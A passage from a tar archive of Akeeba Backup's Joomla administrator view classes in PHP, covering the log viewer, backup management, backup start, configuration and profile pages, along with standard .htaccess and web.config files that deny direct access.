	public $logTooBig = false;
	/**
	 * Size of the log file
	 *
	 * @var int
	 */
	public $logSize = 0;

	/**
	 * The main page of the log viewer. It allows you to select a profile to display. When you do it displays the IFRAME
	 * with the actual log content and the button to download the raw log file.
	 *
	 * @return  void
	 */
	public function onBeforeMain()
	{
		// Load the view-specific Javascript
		$this->container->template->addJS('media://com_akeeba/js/Log.min.js', true, false, $this->container->mediaVersion);

		if (version_compare(JVERSION, '3.999.999', 'lt'))
		{
			HTMLHelper::_('formbehavior.chosen');
		}

		// Get a list of log names
		/** @var Log $model */
		$model      = $this->getModel();
		$this->logs = $model->getLogList();

		$tag = $model->getState('tag', '', 'string');

		if (empty($tag))
		{
			$tag = null;
		}

		$this->tag = $tag;

		// Let's check if the file is too big to display
		if ($this->tag)
		{
			$logFile = Factory::getLog()->getLogFilename($this->tag);

			if (!@is_file($logFile) && @file_exists(substr($logFile, 0, -4)))
			{
				/**
				 * Transitional period: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. This
				 * addresses this transition.
				 */
				$logFile = substr($logFile, 0, -4);
			}

			if (@file_exists($logFile))
			{
				$this->logSize   = filesize($logFile);
				$this->logTooBig = ($this->logSize >= self::bigLogSize);
			}
		}

		if ($this->logTooBig)
		{
			$src = 'index.php?option=com_akeeba&view=Log&task=inlineRaw&&tag=' . urlencode($this->tag) . '&tmpl=component';
			$this->container->platform->addScriptOptions('akeeba.Log.iFrameSrc', $src);
		}

		$this->getProfileIdAndName();
	}
}
com_akeeba/View/Log/Raw.php000060400000001564152455305260011520 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\Log;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Log;
use Akeeba\Engine\Platform;
use FOF40\View\DataView\Html as BaseView;

/**
 * View controller for the Log Viewer page
 */
class Raw extends BaseView
{
	/**
	 * Currently selected log file tag
	 *
	 * @var  string
	 */
	public $tag;

	/**
	 * Renders the actual log content, for use in the IFRAME
	 *
	 * @return  void
	 */
	public function onBeforeIframe()
	{
		/** @var Log $model */
		$model = $this->getModel();
		$tag   = $model->getState('tag', '', 'string');

		if (empty($tag))
		{
			$tag = null;
		}

		$this->tag = $tag;

		$this->setLayout('raw');
	}
}
com_akeeba/View/Manage/Html.php000060400000035147152455305260012346 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\Manage;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Backup\Admin\Model\Statistics;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTimeZone;
use Exception;
use FOF40\Date\Date;
use FOF40\View\DataView\Html as BaseView;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Pagination\Pagination;
use Joomla\CMS\Uri\Uri as JUri;
use stdClass;

/**
 * View controller for the Backup Now page
 */
class Html extends BaseView
{
	/**
	 * Should I use the user's local time zone for display?
	 *
	 * @var  boolean
	 */
	public $useLocalTime;

	/**
	 * Time format string to use for the time zone suffix
	 *
	 * @var  string
	 */
	public $timeZoneFormat;

	/**
	 * The backup record for the showcomment view
	 *
	 * @var  array
	 */
	public $record = [];

	/**
	 * The backup record ID for the showcomment view
	 *
	 * @var  int
	 */
	public $record_id = 0;

	/**
	 * List of Profiles objects
	 *
	 * @var  array
	 */
	public $profiles = [];

	/**
	 * List of profiles for JHtmlSelect
	 *
	 * @var  array
	 */
	public $profilesList = [];

	/**
	 * List of frozen options for JHtmlSelect
	 *
	 * @var  array
	 */
	public $frozenList = [];

	/**
	 * Order direction, ASC/DESC
	 *
	 * @var  string
	 */
	public $order_Dir = 'DESC';

	/**
	 * Description filter
	 *
	 * @var string
	 */
	public $fltDescription = '';

	/**
	 * From date filter
	 *
	 * @var  string
	 */
	public $fltFrom = '';

	/**
	 * To date filter
	 *
	 * @var  string
	 */
	public $fltTo = '';

	/**
	 * Origin filter
	 *
	 * @var  string
	 */
	public $fltOrigin = '';

	/**
	 * Profile filter
	 *
	 * @var  string
	 */
	public $fltProfile = '';

	/**
	 * Frozen records filter
	 *
	 * @var string
	 */
	public $fltFrozen = '';

	/**
	 * List of records to display
	 *
	 * @var  array
	 */
	public $items = [];

	/**
	 * Pagination object
	 *
	 * @var Pagination
	 */
	public $pagination = null;

	/**
	 * Date format for the backup start time
	 *
	 * @var  string
	 */
	public $dateFormat = '';

	/**
	 * Should I pormpt the user ot run the configuration wizard?
	 *
	 * @var  bool
	 */
	public $promptForBackupRestoration = false;

	/**
	 * Sorting order options
	 *
	 * @var  array
	 */
	public $sortFields = [];

	/**
	 * Cache the user permissions
	 *
	 * @var   array
	 *
	 * @since 5.3.0
	 */
	public $permissions = [];

	/**
	 * List the backup records
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	public function onBeforeMain()
	{
		// Load custom Javascript for this page
		$this->container->template->addJS('media://com_akeeba/js/Manage.min.js', true, false, $this->container->mediaVersion);

		$user              = $this->container->platform->getUser();
		$this->permissions = [
			'configure' => $user->authorise('akeeba.configure', 'com_akeeba'),
			'backup'    => $user->authorise('akeeba.backup', 'com_akeeba'),
			'download'  => $user->authorise('akeeba.download', 'com_akeeba'),
		];


		/** @var Profiles $profilesModel */
		$profilesModel           = $this->container->factory->model('Profiles')->tmpInstance();
		$enginesPerPprofile      = $profilesModel->getPostProcessingEnginePerProfile();
		$this->enginesPerProfile = $enginesPerPprofile;

		// "Show warning first" download button.
		JText::script('COM_AKEEBA_BUADMIN_LOG_DOWNLOAD_CONFIRM', false);
		$this->container->platform->addScriptOptions('akeeba.Manage.baseURI', JUri::base());

		if (version_compare(JVERSION, '3.999.999', 'le'))
		{
			JHtml::_('behavior.calendar');
		}

		$hash = 'akeebamanage';

		// ...ordering
		$platform = $this->container->platform;
		$input    = $this->input;

		// ...filter state
		$this->fltDescription   = $platform->getUserStateFromRequest($hash . 'filter_description', 'description', $input, '');
		$this->fltFrom          = $platform->getUserStateFromRequest($hash . 'filter_from', 'from', $input, '');
		$this->fltTo            = $platform->getUserStateFromRequest($hash . 'filter_to', 'to', $input, '');
		$this->fltOrigin        = $platform->getUserStateFromRequest($hash . 'filter_origin', 'origin', $input, '');
		$this->fltProfile       = $platform->getUserStateFromRequest($hash . 'filter_profile', 'profile', $input, '');
		$this->fltFrozen        = $platform->getUserStateFromRequest($hash . 'filter_frozen', 'frozen', $input, '');

		$this->lists            = new stdClass();
		$this->lists->order     = $platform->getUserStateFromRequest($hash . 'filter_order', 'filter_order', $input, 'backupstart');
		$this->lists->order_Dir = $platform->getUserStateFromRequest($hash . 'filter_order_Dir', 'filter_order_Dir', $input, 'DESC');

		$filters  = $this->getFilters();
		$ordering = $this->getOrdering();

		/** @var Statistics $model */
		$model       = $this->getModel();
		$this->items = $model->getStatisticsListWithMeta(false, $filters, $ordering);

		// Default limits
		$defaultLimit = 20;

		if (!$this->container->platform->isCli() && class_exists('JFactory'))
		{
			$app = JFactory::getApplication();

			if (method_exists($app, 'get'))
			{
				$defaultLimit = $app->get('list_limit');
			}
		}

		$this->lists->limitStart = $model->getState('limitstart', 0, 'int');
		$this->lists->limit      = $model->getState('limit', $defaultLimit, 'int');

		// Let's create an array indexed with the profile id for better handling
		$profiles = $profilesModel->get(true);

		$profilesList = [
			JHtml::_('select.option', '', '–' . JText::_('COM_AKEEBA_BUADMIN_LABEL_PROFILEID') . '–'),
		];

		if (!empty($profiles))
		{
			foreach ($profiles as $profile)
			{
				$profilesList[] = JHtml::_('select.option', $profile->id, '#' . $profile->id . '. ' . $profile->description);
			}
		}

		// Assign data to the view
		$this->profiles     = $profiles; // Profiles
		$this->profilesList = $profilesList; // Profiles list for select box
		$this->itemCount    = count($this->items);
		$this->pagination   = $model->getPagination($filters); // Pagination object

		$this->frozenList = [
			JHtml::_('select.option', '', '–' . JText::_('COM_AKEEBA_BUADMIN_LABEL_FROZEN_SELECT') . '–'),
			JHtml::_('select.option', '1', JText::_('COM_AKEEBA_BUADMIN_LABEL_FROZEN_FROZEN')),
			JHtml::_('select.option', '2', JText::_('COM_AKEEBA_BUADMIN_LABEL_FROZEN_UNFROZEN')),
		];

		if ($this->lists->order_Dir)
		{
			$this->lists->order_Dir = strtolower($this->lists->order_Dir);
		}

		// Date format
		$dateFormat       = $this->container->params->get('dateformat', '');
		$dateFormat       = trim($dateFormat);
		$this->dateFormat = !empty($dateFormat) ? $dateFormat : JText::_('DATE_FORMAT_LC4');

		// Time zone options
		$this->useLocalTime   = $this->container->params->get('localtime', '1') == 1;
		$this->timeZoneFormat = $this->container->params->get('timezonetext', 'T');

		// Should I show the prompt for the configuration wizard?
		$this->promptForBackupRestoration = $this->container->params->get('show_howtorestoremodal', 1) != 0;

		// Construct the array of sorting fields
		$this->sortFields = [
			'id'          => JText::_('COM_AKEEBA_BUADMIN_LABEL_ID'),
			'description' => JText::_('COM_AKEEBA_BUADMIN_LABEL_DESCRIPTION'),
			'backupstart' => JText::_('COM_AKEEBA_BUADMIN_LABEL_START'),
			'profile_id'  => JText::_('COM_AKEEBA_BUADMIN_LABEL_PROFILEID'),
		];
	}

	/**
	 * Edit a backup record's description and comment
	 *
	 * @return  void
	 */
	public function onBeforeShowcomment()
	{
		/** @var Statistics $model */
		$model           = $this->getModel();
		$id              = $model->getState('id', 0, 'int');
		$record          = Platform::getInstance()->get_statistics($id);
		$this->record    = $record;
		$this->record_id = $id;

		$this->setLayout('comment');
	}

	/**
	 * File size formatting function. COnverts number of bytes to a human readable represenation.
	 *
	 * @param   int     $sizeInBytes         Size in bytes
	 * @param   int     $decimals            How many decimals should I use? Default: 2
	 * @param   string  $decSeparator        Decimal separator
	 * @param   string  $thousandsSeparator  Thousands grouping character
	 *
	 * @return string
	 */
	public function formatFilesize($sizeInBytes, $decimals = 2, $decSeparator = '.', $thousandsSeparator = '')
	{
		if ($sizeInBytes <= 0)
		{
			return '-';
		}

		$units = ['b', 'KB', 'MB', 'GB', 'TB'];
		$unit  = floor(log($sizeInBytes, 2) / 10);

		if ($unit == 0)
		{
			$decimals = 0;
		}

		return number_format($sizeInBytes / (1024 ** $unit), $decimals, $decSeparator, $thousandsSeparator) . ' ' . $units[$unit];
	}

	/**
	 * Translates the internal backup type (e.g. cli) to a human readable string
	 *
	 * @param   string  $recordType  The internal backup type
	 *
	 * @return  string
	 */
	public function translateBackupType($recordType)
	{
		static $backup_types = null;

		if (!is_array($backup_types))
		{
			// Load a mapping of backup types to textual representation
			$scripting    = Factory::getEngineParamsProvider()->loadScripting();
			$backup_types = [];
			foreach ($scripting['scripts'] as $key => $data)
			{
				$backup_types[$key] = JText::_($data['text']);
			}
		}

		if (array_key_exists($recordType, $backup_types))
		{
			return $backup_types[$recordType];
		}

		return '&ndash;';
	}

	/**
	 * Returns the origin's translated name and the appropriate icon class
	 *
	 * @param   array  $record  A backup record
	 *
	 * @return  array  array(originTranslation, iconClass)
	 */
	protected function getOriginInformation($record)
	{
		$originLanguageKey = 'COM_AKEEBA_BUADMIN_LABEL_ORIGIN_' . $record['origin'];
		$originDescription = JText::_($originLanguageKey);

		switch (strtolower($record['origin']))
		{
			case 'backend':
				$originIcon = 'akion-android-desktop';
				break;

			case 'frontend':
				$originIcon = 'akion-ios-world';
				break;

			case 'json':
				$originIcon = 'akion-android-cloud';
				break;

			case 'cli':
				$originIcon = 'akion-ios-paper-outline';
				break;

			case 'xmlrpc':
				$originIcon = 'akion-code';
				break;

			case 'lazy':
				$originIcon = 'akion-cube';
				break;

			default:
				$originIcon = 'akion-help';
				break;
		}

		if (empty($originLanguageKey) || ($originDescription == $originLanguageKey))
		{
			$originDescription = '&ndash;';
			$originIcon        = 'akion-help';

			return [$originDescription, $originIcon];
		}

		return [$originDescription, $originIcon];
	}

	/**
	 * Get the start time and duration of a backup record
	 *
	 * @param   array  $record  A backup record
	 *
	 * @return  array  array(startTimeAsString, durationAsString)
	 */
	protected function getTimeInformation($record)
	{
		$utcTimeZone = new DateTimeZone('UTC');
		$startTime   = new Date($record['backupstart'], $utcTimeZone);
		$endTime     = new Date($record['backupend'], $utcTimeZone);

		$duration = $endTime->toUnix() - $startTime->toUnix();

		if ($duration > 0)
		{
			$seconds  = $duration % 60;
			$duration = $duration - $seconds;

			$minutes  = ($duration % 3600) / 60;
			$duration = $duration - $minutes * 60;

			$hours    = $duration / 3600;
			$duration = sprintf('%02d', $hours) . ':' . sprintf('%02d', $minutes) . ':' . sprintf('%02d', $seconds);
		}
		else
		{
			$duration = '';
		}

		$user   = $this->container->platform->getUser();
		$userTZ = $user->getParam('timezone', 'UTC');
		$tz     = new DateTimeZone($userTZ);
		$startTime->setTimezone($tz);

		$timeZoneSuffix = '';

		if (!empty($this->timeZoneFormat))
		{
			$timeZoneSuffix = $startTime->format($this->timeZoneFormat, $this->useLocalTime);
		}

		return [
			$startTime->format($this->dateFormat, $this->useLocalTime),
			$duration,
			$timeZoneSuffix,
		];
	}

	/**
	 * Get the class and icon for the backup status indicator
	 *
	 * @param   array  $record  A backup record
	 *
	 * @return  array  array(class, icon)
	 */
	protected function getStatusInformation($record)
	{
		$statusClass = '';

		switch ($record['meta'])
		{
			case 'ok':
				$statusIcon  = 'akion-checkmark';
				$statusClass = 'akeeba-label--green';
				break;
			case 'pending':
				$statusIcon  = 'akion-play';
				$statusClass = 'akeeba-label--orange';
				break;
			case 'fail':
				$statusIcon  = 'akion-android-cancel';
				$statusClass = 'akeeba-label--red';
				break;
			case 'remote':
				$statusIcon  = 'akion-cloud';
				$statusClass = 'akeeba-label--teal';
				break;
			default:
				$statusIcon  = 'akion-trash-a';
				$statusClass = 'akeeba-label--grey';
				break;
		}

		return [$statusClass, $statusIcon];
	}

	/**
	 * Get the profile name for the backup record (or "–" if the profile no longer exists)
	 *
	 * @param   array  $record  A backup record
	 *
	 * @return  string
	 */
	protected function getProfileName($record)
	{
		$profileName = '&mdash;';

		if (isset($this->profiles[$record['profile_id']]))
		{
			$profileName = $this->escape($this->profiles[$record['profile_id']]->description);

			return $profileName;
		}

		return $profileName;
	}

	/**
	 * Get the filters in a format that Akeeba Engine understands
	 *
	 * @return  array
	 */
	private function getFilters()
	{
		$filters = [];

		if ($this->fltDescription)
		{
			$filters[] = [
				'field'   => 'description',
				'operand' => 'LIKE',
				'value'   => $this->fltDescription,
			];
		}

		if ($this->fltFrom && $this->fltTo)
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => 'BETWEEN',
				'value'   => $this->fltFrom,
				'value2'  => $this->fltTo,
			];
		}
		elseif ($this->fltFrom)
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => '>=',
				'value'   => $this->fltFrom,
			];
		}
		elseif ($this->fltTo)
		{
			$toDate = new Date($this->fltTo);
			$to     = $toDate->format('Y-m-d') . ' 23:59:59';

			$filters[] = [
				'field'   => 'backupstart',
				'operand' => '<=',
				'value'   => $to,
			];
		}

		if ($this->fltOrigin)
		{
			$filters[] = [
				'field'   => 'origin',
				'operand' => '=',
				'value'   => $this->fltOrigin,
			];
		}

		if ($this->fltProfile)
		{
			$filters[] = [
				'field'   => 'profile_id',
				'operand' => '=',
				'value'   => (int) $this->fltProfile,
			];
		}

		if ($this->fltFrozen == 1)
		{
			$filters[] = [
				'field'   => 'frozen',
				'operand' => '=',
				'value'   => 1,
			];
		}
		elseif ($this->fltFrozen == 2)
		{
			$filters[] = [
				'field'   => 'frozen',
				'operand' => '=',
				'value'   => 0,
			];
		}

		if (empty($filters))
		{
			$filters = null;
		}

		return $filters;
	}

	/**
	 * Get the list ordering in a format that Akeeba Engine understands
	 *
	 * @return  array
	 */
	private function getOrdering()
	{
		$order = [
			'by'    => $this->lists->order,
			'order' => strtoupper($this->lists->order_Dir),
		];

		return $order;
	}

}
com_akeeba/View/Backup/Html.php000060400000014514152455305260012356 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\Backup;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Helper\Status;
use Akeeba\Backup\Admin\Helper\Utils;
use Akeeba\Backup\Admin\Model\Backup;
use Akeeba\Backup\Admin\Model\ControlPanel;
use Akeeba\Backup\Admin\View\ViewTraits\ProfileIdAndName;
use Akeeba\Backup\Admin\View\ViewTraits\ProfileList;
use Akeeba\Engine\Factory;
use FOF40\View\DataView\Html as BaseView;
use Joomla\CMS\Language\Text;

/**
 * View controller for the Backup Now page
 */
class Html extends BaseView
{
	use ProfileList, ProfileIdAndName;

	/**
	 * Do we have errors preventing the backup from starting?
	 *
	 * @var  bool
	 */
	public $hasErrors = false;

	/**
	 * Do we have warnings which may affect –but do not prevent– the backup from running?
	 *
	 * @var  bool
	 */
	public $hasWarnings = false;

	/**
	 * The HTML of the warnings cell
	 *
	 * @var  string
	 */
	public $warningsCell = '';

	/**
	 * Backup description
	 *
	 * @var  string
	 */
	public $description = '';

	/**
	 * Default backup description
	 *
	 * @var  string
	 */
	public $defaultDescription = '';

	/**
	 * Backup comment
	 *
	 * @var  string
	 */
	public $comment = '';

	/**
	 * JSON string of the backup domain name to titles associative array
	 *
	 * @var  array
	 */
	public $domains = '';

	/**
	 * Maximum execution time in seconds
	 *
	 * @var  int
	 */
	public $maxExecutionTime = 10;

	/**
	 * Execution time bias, in percentage points (0-100)
	 *
	 * @var  int
	 */
	public $runtimeBias = 75;

	/**
	 * URL to return to after the backup is complete
	 *
	 * @var  string
	 */
	public $returnURL = '';

	/**
	 * Is the output directory unwritable?
	 *
	 * @var  bool
	 */
	public $unwriteableOutput = false;

	/**
	 * has the user configured an ANGIE password?
	 *
	 * @var  string
	 */
	public $hasANGIEPassword = '';

	/**
	 * Should I autostart the backup?
	 *
	 * @var  string
	 */
	public $autoStart = false;

	/**
	 * Should I display desktop notifications? 0/1
	 *
	 * @var  int
	 */
	public $desktopNotifications = 0;

	/**
	 * Should I try to automatically resume the backup in case of an error? 0/1
	 *
	 * @var  int
	 */
	public $autoResume = 0;

	/**
	 * After how many seconds should I try to automatically resume the backup?
	 *
	 * @var  int
	 */
	public $autoResumeTimeout = 10;

	/**
	 * How many times in total should I try to automatically resume the backup?
	 *
	 * @var  int
	 */
	public $autoResumeRetries = 3;

	/**
	 * Should I prompt the user to run the Configuration Wizard?
	 *
	 * @var  bool
	 */
	public $promptForConfigurationWizard = false;

	/**
	 * Runs before displaying the backup page
	 */
	public function onBeforeMain()
	{
		// Load the view-specific Javascript
		$this->container->template->addJS('media://com_akeeba/js/Backup.min.js', true, false, $this->container->mediaVersion);

		// Load the models
		/** @var  Backup $model */
		$model = $this->getModel();

		/** @var ControlPanel $cpanelmodel */
		$cpanelmodel = $this->container->factory->model('ControlPanel')->tmpInstance();

		// Load the Status Helper
		$helper = Status::getInstance();

		// Determine default description
		$default_description = $this->getDefaultDescription();

		// Load data from the model state
		$backup_description = $model->getState('description', $default_description, 'string');
		$comment            = $model->getState('comment', '', 'html');
		$returnurl          = Utils::safeDecodeReturnUrl($model->getState('returnurl', ''));

		// Get the maximum execution time and bias
		$engineConfiguration = Factory::getConfiguration();
		$maxexec             = $engineConfiguration->get('akeeba.tuning.max_exec_time', 14) * 1000;
		$bias                = $engineConfiguration->get('akeeba.tuning.run_time_bias', 75);

		// Check if the output directory is writable
		$warnings         = Factory::getConfigurationChecks()->getDetailedStatus();
		$unwritableOutput = array_key_exists('001', $warnings);

		// Pass on data
		$this->getProfileList();
		$this->getProfileIdAndName();

		$this->hasErrors                    = !$helper->status;
		$this->hasWarnings                  = $helper->hasQuirks();
		$this->warningsCell                 = $helper->getQuirksCell(!$helper->status);
		$this->description                  = $backup_description;
		$this->defaultDescription           = $default_description;
		$this->comment                      = $comment;
		$this->domains                      = $this->getDomains();
		$this->maxExecutionTime             = $maxexec;
		$this->runtimeBias                  = $bias;
		$this->returnURL                    = $returnurl;
		$this->unwriteableOutput            = $unwritableOutput;
		$this->autoStart                    = $model->getState('autostart', 0, 'boolean');
		$this->desktopNotifications         = $this->container->params->get('desktop_notifications', '0') ? 1 : 0;
		$this->autoResume                   = $engineConfiguration->get('akeeba.advanced.autoresume', 1);
		$this->autoResumeTimeout            = $engineConfiguration->get('akeeba.advanced.autoresume_timeout', 10);
		$this->autoResumeRetries            = $engineConfiguration->get('akeeba.advanced.autoresume_maxretries', 3);
		$this->promptForConfigurationWizard = $engineConfiguration->get('akeeba.flag.confwiz', 0) == 0;
		$this->hasANGIEPassword = !empty(trim($engineConfiguration->get('engine.installer.angie.key', '')));
	}

	/**
	 * Get the default description for this backup attempt
	 *
	 * @return  string
	 */
	private function getDefaultDescription()
	{
		return $this->getModel()->getDefaultDescription();
	}

	/**
	 * Get a list of backup domain keys and titles
	 *
	 * @return  array
	 */
	private function getDomains()
	{
		$engineConfiguration = Factory::getConfiguration();
		$script              = $engineConfiguration->get('akeeba.basic.backup_type', 'full');
		$scripting           = Factory::getEngineParamsProvider()->loadScripting();
		$domains             = [];

		if (empty($scripting))
		{
			return $domains;
		}

		foreach ($scripting['scripts'][$script]['chain'] as $domain)
		{
			$description = Text::_($scripting['domains'][$domain]['text']);
			$domain_key  = $scripting['domains'][$domain]['domain'];
			$domains[]   = [$domain_key, $description];
		}

		return $domains;
	}
}
com_akeeba/View/Configuration/Html.php000060400000007237152455305260013764 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\Configuration;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\View\ViewTraits\ProfileIdAndName;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\View\DataView\Html as BaseView;
use Joomla\CMS\Language\Text as JText;

class Html extends BaseView
{
	use ProfileIdAndName;

	/**
	 * Status of the settings encryption: -1 disabled by user, 0 not available, 1 enabled and active
	 *
	 * @var  int
	 */
	public $secureSettings = 0;

	/**
	 * Should I show the Configuration Wizard popup prompt?
	 *
	 * @var  bool
	 */
	public $promptForConfigurationWizard = false;

	/**
	 * Executes when displaying the page
	 */
	public function onBeforeMain()
	{
		$this->container->template->addJS('media://com_akeeba/js/Configuration.min.js', true, false, $this->container->mediaVersion);

		$this->getProfileIdAndName();

		// Are the settings secured?
		$this->secureSettings = $this->getSecureSettingsOption();

		// Should I show the Configuration Wizard popup prompt?
		$this->promptForConfigurationWizard = Factory::getConfiguration()->get('akeeba.flag.confwiz', 0) != 1;

		// Push script options
		$urls = array(
			'browser'      => addslashes('index.php?option=com_akeeba&view=Browser&processfolder=1&tmpl=component&folder='),
			'ftpBrowser'   => addslashes('index.php?option=com_akeeba&view=FTPBrowser'),
			'sftpBrowser'  => addslashes('index.php?option=com_akeeba&view=SFTPBrowser'),
			'testFtp'      => addslashes('index.php?option=com_akeeba&view=Configuration&task=testftp'),
			'testSftp'     => addslashes('index.php?option=com_akeeba&view=Configuration&task=testsftp'),
			'dpeauthopen'  => addslashes('index.php?option=com_akeeba&view=Configuration&task=dpeoauthopen&format=raw'),
			'dpecustomapi' => addslashes('index.php?option=com_akeeba&view=Configuration&task=dpecustomapi&format=raw'),
		);

		// Push script options
		$platform = $this->container->platform;
		$platform->addScriptOptions('akeeba.Configuration.URLs', $urls);
		$platform->addScriptOptions('akeeba.Configuration.GUIData', json_decode(Factory::getEngineParamsProvider()->getJsonGuiDefinition(), true));


		// Push translations
		JText::script('COM_AKEEBA_CONFIG_UI_BROWSE');
		JText::script('COM_AKEEBA_CONFIG_UI_CONFIG');
		JText::script('COM_AKEEBA_CONFIG_UI_REFRESH');
		JText::script('COM_AKEEBA_FILEFILTERS_LABEL_UIROOT');
		JText::script('COM_AKEEBA_CONFIG_UI_FTPBROWSER_TITLE');
		JText::script('COM_AKEEBA_CONFIG_DIRECTFTP_TEST_OK');
		JText::script('COM_AKEEBA_CONFIG_DIRECTFTP_TEST_FAIL');
		JText::script('COM_AKEEBA_CONFIG_DIRECTSFTP_TEST_OK');
		JText::script('COM_AKEEBA_CONFIG_DIRECTSFTP_TEST_FAIL');
	}

	/**
	 * Returns the support status of settings encryption. The possible values are:
	 * -1 Disabled by the user
	 *  0 Enabled by inactive (not supported by the server)
	 *  1 Enabled and active
	 *
	 * @return  int
	 */
	private function getSecureSettingsOption()
	{
		// Encryption is disabled by the user
		if (Platform::getInstance()->get_platform_configuration_option('useencryption', -1) == 0)
		{
			return -1;
		}

		// Encryption is not supported by this server
		if (!Factory::getSecureSettings()->supportsEncryption())
		{
			return 0;
		}

		$filename = JPATH_COMPONENT_ADMINISTRATOR . '/BackupEngine/serverkey.php';

		// Encryption enabled, supported and a key file is present: encryption enabled
		if (is_file($filename))
		{
			return 1;
		}

		// Encryption enabled, supported but and a key file is NOT present: encryption not available
		return 0;
	}
}
com_akeeba/View/.htaccess000060400000000246152455305260011327 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/View/fef.php000060400000003071152455305260011001 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2021 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

?>

<div style="margin: 1em">
	<h1>Akeeba Frontend Framework (FEF) could not be found on this site</h1>
	<hr/>
	<div class="alert alert-warning">
		<h2>
			This component requires the Akeeba Frontend Framework (FEF) to be installed on your site. Please go to <a
					href="https://www.akeeba.com/download/official/fef.html">our download page</a> to download it, then install it on your site.
		</h2>
	</div>
	<hr/>
	<h4>Further information</h4>
	<p>
        FEF is the name of our custom CSS framework. It's responsible for rendering the interface of our Joomla!
		extensions. It is automatically installed when you install our extensions on your site.
	</p>
	<p>
		FEF can be missing from your site either because Joomla failed to install it or because you, another Super User,
		or another extension mistakenly uninstalled it.
	</p>
	<p>
		If it's missing we cannot display the interface to this component. That's why you see this message.
	</p>
	<p>
		You do not have to worry about adding bloat to your site. FEF is very small. It will also be automatically
		uninstalled when you uninstall all components which depend on it.
	</p>
	<p>
		FEF is installed in the <code>media/fef</code> folder under your site's root. It appears in Joomla's Extensions,
		Manage page as <code>file_fef</code>. Please do not remove it from your site.
	</p>
</div>
com_akeeba/View/web.config000060400000001025152455305260011471 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/View/Profiles/Html.php000060400000002434152455305260012732 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\Profiles;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\View\ViewTraits\ProfileIdAndName;
use FOF40\View\DataView\Html as BaseView;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;

/**
 * View controller for the profiles management page
 */
class Html extends BaseView
{
	use ProfileIdAndName;

	/**
	 * Sorting order fields
	 *
	 * @var  array
	 */
	public $sortFields;

	/**
	 * The default layout, shows a list of profiles
	 */
	function onBeforeBrowse()
	{
		$this->getProfileIdAndName();

		// Get Sort By fields
		$this->sortFields = [
			'id'          => JText::_('JGRID_HEADING_ID'),
			'description' => JText::_('COM_AKEEBA_PROFILES_COLLABEL_DESCRIPTION'),
		];

		parent::onBeforeBrowse();

		JHtml::_('behavior.multiselect');
		JHtml::_('dropdown.init');
	}

	/**
	 * The edit layout, editing a profile's name
	 */
	protected function onBeforeEdit()
	{
		parent::onBeforeEdit();

		// Include tooltip support
		if (version_compare(JVERSION, '3.999.999', 'lt'))
		{
			JHtml::_('behavior.tooltip');
		}
	}
}
com_akeeba/View/Profiles/Json.php000060400000000556152455305260012742 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\Profiles;

// Protect from unauthorized access
defined('_JEXEC') || die();

use FOF40\View\DataView\Json as BaseView;

class Json extends BaseView
{

}
com_akeeba/View/RegExFileFilter/Html.php000060400000005341152455305260014127 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\RegExFileFilter;

// Protect from unauthorized access
use Akeeba\Backup\Admin\Model\RegExFileFilters;
use Akeeba\Backup\Admin\View\ViewTraits\ProfileIdAndName;
use Akeeba\Engine\Factory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Uri\Uri as JUri;

defined('_JEXEC') || die();

class Html extends \FOF40\View\DataView\Html
{
